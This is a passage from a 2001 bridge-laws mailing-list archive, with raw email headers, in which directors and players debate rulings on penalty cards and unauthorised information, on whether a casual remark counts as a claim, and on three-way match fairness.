majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KG5Aa25893 for bridge-laws-outgoing; Sun, 21 Jan 2001 03:05:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KG53t25889 for ; Sun, 21 Jan 2001 03:05:04 +1100 (EST) Received: from oemcomputer (dialup-006.sligo.iol.ie [194.125.48.198]) by mail.iol.ie Sendmail (v8.9.3) with SMTP id QAA53350 for ; Sat, 20 Jan 2001 16:04:52 GMT Received: by localhost with Microsoft MAPI; Sat, 20 Jan 2001 16:05:58 -0000 Message-ID: <01C082FA.E03553C0.tsvecfob@iol.ie> From: "Fearghal O'Boyle" To: "'bridge-laws@octavia.anu.edu.au'" Subject: RE: [BLML] penalties AND UI - too much ? Date: Sat, 20 Jan 2001 16:05:57 -0000 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Herman wrote: Partner leads out of turn, the ace of diamonds. Declarer allows you to play what you want. >From AKJx of hearts, you lead the ace, to see the table. The queen of hearts is not there. Again declarer allows you to play what you want. If you now play diamonds, your partner is in to bring you the hearts. But, says declarer later, the Ace is UI, and you could also have switched clubs as a LA, so please give me my contract back. Comments ? Law 50D1 has the relevant information. (the requirement that partner must play the Ace of Diamonds at his first legal opportunity is AI to you; but other information arising from seeing the Ace of Diamonds is UI to you). So while I want to allow the Diamond switch (50D2, 72A5) as others have indicated, I feel declarer is correct in his analysis (50D1, 16C2) and the Diamond switch is not allowed if another switch is an LA. Best regards, Fearghal. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 03:54:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KGr7u25963 for bridge-laws-outgoing; Sun, 21 Jan 2001 03:53:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout3-0.nyroc.rr.com (mailout3-1.nyroc.rr.com [24.92.226.168]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KGr0t25959 for ; Sun, 21 Jan 2001 03:53:01 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0KGnFe17455 for ; Sat, 20 Jan 2001 11:49:16 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <00a301c08295$ec165b40$56991e18@san.rr.com> References: <200101182216.OAA27032@mailhub.irvine.com> <01af01c081ca$1d6f8a80$56991e18@san.rr.com> <00a301c08295$ec165b40$56991e18@san.rr.com> Date: Sat, 20 Jan 2001 11:46:59 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] Claim? Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Marvin L. French wrote: >All not very clear, but that's the way I see it. And if at the table it goes "I have the rest; my line of play..." "YOU CAN'T DO THAT! DIRECTOR!!!!"? What then? If I haven't stated a line of play because I didn't bother, or "forgot", I'll take my lumps, but I damned sure won't like it if I have to take lumps because my opponents don't *let* me state one. Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmnCZ72UW3au93vOEQJcewCeNz7Eth08/M+MrEWHl3ObgsvqLsUAoJ5h tqTL1vP9I+mr+g2U84pVU//N =JseD -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 04:15:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KHDPG28249 for bridge-laws-outgoing; Sun, 21 Jan 2001 04:13:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout3-0.nyroc.rr.com (mailout3-0.nyroc.rr.com [24.92.226.118]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KHDJt28227 for ; Sun, 21 Jan 2001 04:13:20 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0KH9Ce22720 for ; Sat, 20 Jan 2001 12:09:13 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <5.0.2.1.0.20010120133123.00a23510@mail.rz.uni-duesseldorf.de> References: <5.0.2.1.0.20010120133123.00a23510@mail.rz.uni-duesseldorf.de> Date: Sat, 20 Jan 2001 12:08:57 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] Claim? Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 1:37 PM +0100 1/20/01, Richard Bley wrote: >I agree that the wording of the laws are the way David Burn >describes it. But: IMHO this is an awful rule. Laws are written >regularly to protect the innocent people from falling into tricky >traps. Here is no tricky trap to see; just be annoyed by an opp is >not enough for me here. To make a claim out of all this silly >statements is just too much for the non-offenders (imagine trump >contracts alone...). >Still IMHO it is right to punish this sort of statements ("Pard we >have a grand on!") but not with the score (and opps who get a lot >of points out of it) but with penalty points. That is the right >place for this behaviour. David's point, with which I agree, is that our opinions regarding whether the law in this case (or similar) is good or bad are irrelevant. I sympathize with the idea of "punishing" the offender (just who is the offender in this case - the guy with the big mouth, or the BL who wants to take advantage of him?) but I'm not sure I see how you justify it. And would not a similar punishment for the BL also be appropriate? (Though I don't know under which law it would fall.) Questions: Given Law 68 and Law 84B, how do you rule if called to the table in this case? (That is, where declarer, on seeing dummy, says "Oh, we're going to make twelve tricks.") Do you do what the Law *says* you must do, or do you do something else? If the latter, what of Law 81B2? If your ruling is appealed, can the AC do anything, in view of Law 93B3, other than try to persuade the TD to change it? Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmnHE72UW3au93vOEQKKbACgt2rrbR1V8cbltzN20ANdkDIX060AoIbS 1TTzuIWn4UWnVq3MUSpkB/c0 =he/l -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 04:23:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KHLXZ00018 for bridge-laws-outgoing; Sun, 21 Jan 2001 04:21:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.rdc1.md.home.com (imail@ha1.rdc1.md.home.com [24.2.2.66]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KHLQt29978 for ; Sun, 21 Jan 2001 04:21:27 +1100 (EST) Received: from BRIAN ([24.180.160.52]) by mail.rdc1.md.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010120172120.VZTL10139.mail.rdc1.md.home.com@BRIAN> for ; Sat, 20 Jan 2001 09:21:20 -0800 From: Brian Meadows To: "'bridge-laws@octavia.anu.edu.au'" Subject: Re: [BLML] penalties AND UI - too much ? Date: Sat, 20 Jan 2001 12:21:10 -0500 Reply-To: brian@meadows.pair.com Message-ID: References: <01C082FA.E03553C0.tsvecfob@iol.ie> In-Reply-To: <01C082FA.E03553C0.tsvecfob@iol.ie> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Sat, 20 Jan 2001 16:05:57 -0000, Fearghal wrote: >Herman wrote: >Partner leads out of turn, the ace of diamonds. > >Declarer allows you to play what you want. > >>From AKJx of hearts, you lead the ace, to see the table. >The queen of hearts is not there. > >Again declarer allows you to play what you want. > >If you now play diamonds, your partner is in to bring you >the hearts. > >But, says declarer later, the Ace is UI, and you could also >have switched clubs as a LA, so please give me my contract >back. > >Comments ? > > > > >Law 50D1 has the relevant information. >(the requirement that partner must play the Ace of Diamonds at his first >legal opportunity is AI to you; >but other information arising from seeing the Ace of Diamonds is UI to >you). > >So while I want to allow the Diamond switch (50D2, 72A5) as others have >indicated, I feel declarer is correct in his analysis (50D1, 16C2) and the >Diamond switch is not allowed if another switch is an LA. > > Disclaimer - I have not directed, apart from as an emergency stand-in, for well over a decade, this is just the view of a player with an interest in the Laws. Some of the debates on here do seem to me to get a little esoteric at times, and possibly this is one of them. However, I think that the Laws of bridge should at least attempt to keep a grasp, however tenuous, on simple logic. If I know partner has to play the DA at his first opportunity, it seems to me to be a total nonsense that I cannot know that partner holds the DA. Trying to apply this would meet with howls of laughter from (I suspect) a significant number of players, and quite rightly so, IMHO. As the question explicitly stated, declarer allowed me to play what I wanted after cashing the AH. He had (unless my memory of the laws is at fault) the option to forbid my leading a diamond, at which point my partner could have taken the DA back into his hand. Instead, declarer chose to have the DA remain a penalty card. For declarer to then claim that I am prevented from leading a diamond anyway seems to be totally illogical to me - the Laws offer him the *CHOICE* of forbidding (or requiring) a diamond lead *OR* having the DA remain a penalty card. This declarer seems to want to have the benefit of two of the penalties instead of one - to have the AD remain a penalty card, but then to retrospectively forbid the diamond lead as well. He made his choice, and he got it wrong. Brian. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 04:24:29 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KHN1f00562 for bridge-laws-outgoing; Sun, 21 Jan 2001 04:23:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout3-0.nyroc.rr.com (mailout3-1.nyroc.rr.com [24.92.226.168]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KHMst00513 for ; Sun, 21 Jan 2001 04:22:54 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0KHJBe25843 for ; Sat, 20 Jan 2001 12:19:11 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <01C082FA.E03553C0.tsvecfob@iol.ie> References: <01C082FA.E03553C0.tsvecfob@iol.ie> Date: Sat, 20 Jan 2001 12:20:55 -0500 To: "'bridge-laws@octavia.anu.edu.au'" From: Ed Reppert Subject: RE: [BLML] penalties AND UI - too much ? Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 4:05 PM +0000 1/20/01, Fearghal O'Boyle wrote: >So while I want to allow the Diamond switch (50D2, 72A5) as others have >indicated, I feel declarer is correct in his analysis (50D1, 16C2) and the >Diamond switch is not allowed if another switch is an LA. 16C2 pertains to *withdrawn* actions. There has been no such action here. Had the declarer placed a lead restriction, allowing the DA to be withdrawn and placed in the player's hand (50D2(a)) *then* the fact that player holds that card is UI, and his partner may not, under 16C2, lead a diamond. But as long as the DA remains a penalty card, the player can lead whatever he wants - including a diamond. Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmnJab2UW3au93vOEQK8ugCfduIDuecqHP3V29AzXoGeSzZEdIoAnRJ+ 2ZWnFqhvTNSc5MqGaBeUfJU3 =o1gN -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 04:44:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KHhDJ06215 for bridge-laws-outgoing; Sun, 21 Jan 2001 04:43:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout4-0.nyroc.rr.com (mailout4-1.nyroc.rr.com [24.92.226.166]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KHh7t06211 for ; Sun, 21 Jan 2001 04:43:08 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout4-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0KHdFn09319 for ; Sat, 20 Jan 2001 12:39:17 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: References: Date: Sat, 20 Jan 2001 12:33:41 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] Let's get back to the easy stuff Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 3:11 PM +0000 1/19/01, David Stevenson wrote: >Is everyone happy? Just to remind you, I opened 1S because I had five >good spades and six poor hearts, discovered I had opened out of turn and >silenced partner, and now I wish to rebid spades so as to confuse the >oppos: does L16C constrain me? I don't see how - I agree with Jacs; what's in your hand is AI to you. Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmnOIb2UW3au93vOEQK6ZQCdEblTREsgXGd00O85eOFTceq5R44AoOCi m2aX0AzKuRrqe9p1BApN0opq =fYVq -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 05:04:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KI2gw06246 for bridge-laws-outgoing; Sun, 21 Jan 2001 05:02:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KI1It06242 for ; Sun, 21 Jan 2001 05:01:19 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sat, 20 Jan 2001 09:57:57 -0800 Message-ID: <002101c0830a$91a9a660$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> Subject: Re: [BLML] Claim? Date: Sat, 20 Jan 2001 09:49:50 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Burn wrote: > > Ladies and gentlemen, this sophistry is really not seemly. We may not be > happy with the notion that a player who is "just kidding around" should > be treated as though he has made a claim. It may very well be that a > player who insists that the utterance "we will make twelve tricks" be > treated as a claim even though it was not so intended should have a > millstone tied about his neck and be cast into the depths of the sea. As > to that, I express no opinion - but that was not the question. The > question was: does the utterance "we will make twelve tricks" constitute > a claim? The answer to it is "Yes". > Reinforcing this well-written opinion is that the lawmakers carefully changed the Law in 1987 from "when he announces" to when he makes "any statement to the effect." The argument that "any statement" must be a formal announcement to the opponents in order to be a claim becomes nonsense when that change is considered. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 05:49:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KImrt06278 for bridge-laws-outgoing; Sun, 21 Jan 2001 05:48:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KImlt06274 for ; Sun, 21 Jan 2001 05:48:48 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sat, 20 Jan 2001 10:48:05 -0800 Message-ID: <003301c08311$927815c0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101182216.OAA27032@mailhub.irvine.com> <01af01c081ca$1d6f8a80$56991e18@san.rr.com> <00a301c08295$ec165b40$56991e18@san.rr.com> <008c01c082f3$13deb480$22c188d1@kay> Subject: Re: [BLML] Claim? Date: Sat, 20 Jan 2001 10:42:50 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Nelson/Kay Ford" > From: "Marvin L. French" > > > > L68C says a claim *should* be accompanied at once by a statement of > > clarification, but *should* is not a very strong word. > > > > L70D Claimer Proposes New Line of Play > > The Director shall not accept from claimer any successful > > line of play not embraced in the original clarification > > statement [if any--mlf] if there is an alternative normal* > > line of play that would be less successful. > > > > If there was no previous statement, then any statement is a "new line of > > play." It won't be accepted if there is another (normal) line of play > > that would be less successful, but it may be accepted. > > > > In L70E "The Director shall not accept any unstated line of play..." > > seems to mean a line of play now offered which was not included in an > > original statement (if any). That implies that a line of play that was > > not supplied at the time of the claim will be heard at this time. > > I think that your quote of L70E out of context changes its > meaning. The full quote is: "The Director shall not accept > from claimer any unstated line of play [continuing:] the success > of which depends upon finding one opponent... [blah, blah, blah]" > > In other words, L70E was addressing a specific situation, not > giving blanket approval for a claimer to make a belated Clarification > Statement. > > L70B clearly lays out the steps a TD must take. > > Step 1 is is to have the claimer REPEAT his clarification > statement. He cannot "repeat" a statement unless he has > already made one. > > Step 2 is for all hands to be faced. > > Step 3 is to hear the opponents' objections (and presumably > any rebuttals by claimer). > > IMO, L70D and L70E clearly are meant to apply to claimer's > rebuttal to the opponent's objections. "Rebuttal" could have been used if that was intended. At any rate, it seems to me that a rebuttal constitues a clarification statement. > It is illogical to say that > if claimer has not made a statement by Step 3, he will be > allowed to make one after seeing the opponent's cards and > hearing their objections. Step 4, which you gloss over, is to hear the claimer's rebuttal, not accepting anything new "if there is an alternative normal* line of play that would be less successful." Conversely, something new (not necessarily a rebuttal) can be accepted if there is no such normal* alternative. After all, the opponents may have no specific objections to the claim, leaving it up to the TD to decide whether it is a valid claim. Surely the claimer has a right to take part in a discussion with the TD about this, and the discussion must normally include a statement by the claimer. TD: "Why do you think you have all the tricks?" Claimer: "Dummy's hand is going to take all the tricks with high cards." TD: "It seems to me you have to lose a heart finesse, since the success of not doing so would depend on the heart honor dropping offside." Claimer: "That would be irrational, as West is known to hold the high club, since East has shown out of clubs, and there is no room in her hand to guard hearts." Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 05:51:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KIpLB06291 for bridge-laws-outgoing; Sun, 21 Jan 2001 05:51:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KIpFt06287 for ; Sun, 21 Jan 2001 05:51:16 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sat, 20 Jan 2001 10:50:33 -0800 Message-ID: <003601c08311$eabb4cc0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "'bridge-laws@octavia.anu.edu.au'" References: <01C082FA.E03553C0.tsvecfob@iol.ie> Subject: Re: [BLML] penalties AND UI - too much ? Date: Sat, 20 Jan 2001 10:50:47 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Fearghal O'Boyle" > Herman wrote: > Partner leads out of turn, the ace of diamonds. > > Declarer allows you to play what you want. > > >From AKJx of hearts, you lead the ace, to see the table. > The queen of hearts is not there. > > Again declarer allows you to play what you want. > > If you now play diamonds, your partner is in to bring you > the hearts. > > But, says declarer later, the Ace is UI, and you could also > have switched clubs as a LA, so please give me my contract > back. > > Comments ? > > > > > Law 50D1 has the relevant information. > (the requirement that partner must play the Ace of Diamonds at his first > legal opportunity is AI to you; > but other information arising from seeing the Ace of Diamonds is UI to > you). > > So while I want to allow the Diamond switch (50D2, 72A5) as others have > indicated, I feel declarer is correct in his analysis (50D1, 16C2) and the > Diamond switch is not allowed if another switch is an LA. L50D2(b) is specific: "may lead any card." L16C2 is general. Doesn't a specific Law take precedence over a general one? Perhaps L16C2 should include the words "unless otherwise specified by these Laws." Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 07:29:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KKRPu06349 for bridge-laws-outgoing; Sun, 21 Jan 2001 07:27:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from sirene.rz.uni-duesseldorf.de (sirene.rz.uni-duesseldorf.de [134.99.128.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KKRJt06345 for ; Sun, 21 Jan 2001 07:27:20 +1100 (EST) Received: from unid.uni-duesseldorf.de (Isis68.urz.uni-duesseldorf.de [134.99.138.68]) by neptun.rz.uni-duesseldorf.de (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with ESMTP id <0G7H00A1XA5CSC@neptun.rz.uni-duesseldorf.de> for bridge-laws@rgb.anu.edu.au; Sat, 20 Jan 2001 21:27:14 +0100 (MET) Date: Sat, 20 Jan 2001 21:27:15 +0100 From: Richard Bley Subject: Re: [BLML] Claim? In-reply-to: X-Sender: bley@mail.rz.uni-duesseldorf.de To: Bridge Laws Message-id: <5.0.2.1.0.20010120212317.00a21d10@mail.rz.uni-duesseldorf.de> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Content-type: text/plain; format=flowed; charset=iso-8859-1 References: <5.0.2.1.0.20010120133123.00a23510@mail.rz.uni-duesseldorf.de> <5.0.2.1.0.20010120133123.00a23510@mail.rz.uni-duesseldorf.de> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0KKRMt06346 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hi Ed, >At 1:37 PM +0100 1/20/01, Richard Bley wrote: > > >I agree that the wording of the laws are the way David Burn > >describes it. But: IMHO this is an awful rule. Laws are written > >regularly to protect the innocent people from falling into tricky > >traps. Here is no tricky trap to see; just be annoyed by an opp is > >not enough for me here. To make a claim out of all this silly > >statements is just too much for the non-offenders (imagine trump > >contracts alone...). > >Still IMHO it is right to punish this sort of statements ("Pard we > >have a grand on!") but not with the score (and opps who get a lot > >of points out of it) but with penalty points. That is the right > >place for this behaviour. > >David's point, with which I agree, is that our opinions regarding >whether the law in this case (or similar) is good or bad are >irrelevant. I sympathize with the idea of "punishing" the offender >(just who is the offender in this case - the guy with the big mouth, >or the BL who wants to take advantage of him?) but I'm not sure I see >how you justify it. And would not a similar punishment for the BL >also be appropriate? (Though I don't know under which law it would >fall.) Sorry; obviously I couldn´t explain my point properly: I didn´t want to say: Dont use this law. I wanted to say: please change this law. Of course as a TD I have to bring the laws into effect regardless how silly I think this is. >Questions: Given Law 68 and Law 84B, how do you rule if called to the >table in this case? (That is, where declarer, on seeing dummy, says >"Oh, we're going to make twelve tricks.") Do you do what the Law >*says* you must do, or do you do something else? If the latter, what >of Law 81B2? If your ruling is appealed, can the AC do anything, in >view of Law 93B3, other than try to persuade the TD to change it? see above ;-) Regards, Richard -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 08:02:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KL24E06371 for bridge-laws-outgoing; Sun, 21 Jan 2001 08:02:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail1.panix.com (mail1.panix.com [166.84.0.212]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KL1wt06367 for ; Sun, 21 Jan 2001 08:01:59 +1100 (EST) Received: by mail1.panix.com (Postfix, from userid 130) id B40EF49528; Sat, 20 Jan 2001 16:00:44 -0500 (EST) Mime-Version: 1.0 X-Sender: adamw@popserver.panix.com Message-Id: In-Reply-To: References: Date: Sat, 20 Jan 2001 16:00:35 -0500 To: David Stevenson From: Adam Wildavsky Subject: Re: [BLML] Three-way matches with two survivors Cc: bridge-laws@rgb.anu.edu.au Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 12:59 AM +0000 1/19/01, David Stevenson wrote: >It just seems completely unfair. You play matches of a particular >length. We often play three-way matches where the team with the worst record drops out at half-time. Would you consider that equally unfair? What about Byes? >I would have thought the dumping problem was tiny anyway in threesomes. It's substantial enough that it comes up regularly. In any case Edgar's point was that it is the responsibility of those who write conditions of contest to eliminate the possibility of their providing a player with an incentive to play poorly. AW -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 21 08:37:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0KLaTn07087 for bridge-laws-outgoing; Sun, 21 Jan 2001 08:36:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0KLaLt07043 for ; Sun, 21 Jan 2001 08:36:22 +1100 (EST) Received: from eitan (gcon1-p17.nt.netvision.net.il [62.0.170.17]) by alpha.netvision.net.il (8.9.3/8.8.6) with SMTP id XAA26085 for ; Sat, 20 Jan 2001 23:36:13 +0200 (IST) Message-Id: 